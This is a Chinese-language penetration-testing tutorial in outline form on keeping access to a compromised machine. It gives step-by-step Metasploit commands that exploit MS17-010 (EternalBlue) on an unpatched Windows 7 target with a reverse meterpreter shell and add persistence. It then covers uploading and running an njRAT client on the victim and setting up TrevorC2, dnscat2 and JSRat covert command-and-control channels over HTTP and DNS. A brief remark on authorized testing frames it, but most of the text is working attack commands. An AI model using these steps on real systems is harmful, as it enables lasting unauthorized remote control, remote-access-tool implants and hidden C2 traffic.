权限维持
-
权限维持的原因
- 前提:某目标服务器初始化现阶段存在安全漏洞,可以被利用拿到服务器权限
- 一段时间后,系统管理员对系统进行升级,打补丁(patch),系统不存在安全漏洞,导致无法利用漏洞获得服务器权限
-
权限维持的使用
- 技术本身不具备好与坏,只是因为使用者的目的不同,导致结果的好与坏
- 恶意人员利用权限维持技术,一直获得服务器的权限
- 合法且被授权的渗透测试人员,利用权限维持为了证明服务器存在对应的安全漏洞
-
权限维持案例环境介绍
-
目标机器:win7没有ms17-010补丁
-
利用metasploit中ms17-010对应的exploit进行渗透测试,获得"临时"的system权限。(当补丁打上就无法利用ms17-010获取system权限)
-
打开mestasploit—search ms17_010
- use exploit/windows/smb/ms17_010_eternalblue
- set rhost 目标IP
- set lhost 本地IP
- set lport 本地监听端口
- set payload windows/x64/meterpreter/reverse_TCP
- exploit
结果(临时的):
-
-
权限维持案例
-
使用metasploit run persistence模块
- run persistence -U -i 10 -p 4444 -r 本地IP(kali的)
- run persistence -U -i 10 -p 4444 -r 本地IP(kali的)
-
权限维持-远程控制
-
先使用ms17_010获取临时的权限
-
远程控制的生成与上传
-
在另一台windows使用njRAT进行客户端软件(Client.exe)的生成,然后将Client.exe获取到kali桌面
- 生成时输入的IP为本地IP,不是目标IP
- 生成时输入的IP为本地IP,不是目标IP
-
在临时的会话中使用upload /home/kali/Desktop/Client.exe C:\\Client.exe
-
执行Client.exe
-
njRAT服务端就会显示机器上线
-
重启测试
-
权限维持-TrevorC2工具
-
TrevorC2工具介绍
- TrevorC2是基于C/S架构的通过浏览网站,进行命令控制.由于时间间隔不同且不使用POST请求进行数据提交,因此检测TrevorC2变得困难很多
- TrevorC2有两个组件–客户机和服务器。目前trevorc2_client.py支持Windows,MacOS和Linux
- 组成:
- trevor2_server.py
- trevor2_client.py
- trevor2_client.ps1
-
TrevorC2工具安装(kali)
- git clone https://github.com/trustedsec/trevorc2.git
- cd trevorc2/
- pip3 install -r requirements.txt
- 如果没有pip命令可执行一下命令先安装(Python3版本)
- curl -s https://bootstrap.pypa.io/get-pip.py | python3
- 如果没有pip命令可执行一下命令先安装(Python3版本)
-
TrevorC2工具使用
-
启动trevorc2_server.py
-
修改客户端文件中的IP地址:trevor2_client.py,trevor2_client.ps1(另开一个终端)
-
发送到目标机器执行客户端程序
-
-
TrevorC2建立连接
- 客户端执行trevorc2客户端程序,服务端返回shell
- 使用list查看建立的会话
- 使用
interact <serial number od session>
切换会话 - 执行命令id
权限维持-DNScat2工具
-
Dnsscat2工具截杀
- Dnscat2工具是用来建立以DNS协议为基础的命令控制通道
- Dnscat2工具具有客户端和服务端
- 客户端使用C语言编写,最大程度实现跨平台
- 服务端用来建立监听,等待连接。可以说是一个用来建立DNS服务端的程序
-
Dnscat2工具安装
-
git clone https://github.com/iagox86/dnscat2.git
-
客户端安装:
- git clone https://github.com/iagox86/dnscat2.git
- cd dnscat2/client/
- make
-
服务端的安装:
- git clone https://github.com/iagox86/dnscat2.git
- cd dnscat2/server/
- gem install bundler
- bundle install
-
Dnscat2工具使用(都是要先启动服务端,再启动客户端连接服务端)
- 服务端:
- ruby dnscat2.rb
- 客户端:
- /dnscat2 --dns server=IP地址/域名,port=53
- 服务端:
-
Dnscat2建立连接
- session -i 1
- ping
- 启动shell
- shell
- windows
- sessions
- sessions -i 2
JsRAT工具
-
JsRAT工具介绍
- JsRAT工具是用来建立以HTTP协议为基础的命令控制通道
- JsRAT是一款使用Python脚本开发的工具,利用JS反弹shell,并不会在硬盘安装任何程序,避免被发现
-
JsRAT工具安装
- git clone https://github.com/Hood3dRob1n/JSRat-Py
-
JsRAT工具使用
-
./JSRat.py -i 本地IP地址 -p 4444
-
使用客户端浏览器访问该IP地址:4444/wtf,以获得执行命令
-
-
JsRAT建立连接
-
在命令行中执行浏览器中显示的命令
-
执行命令
-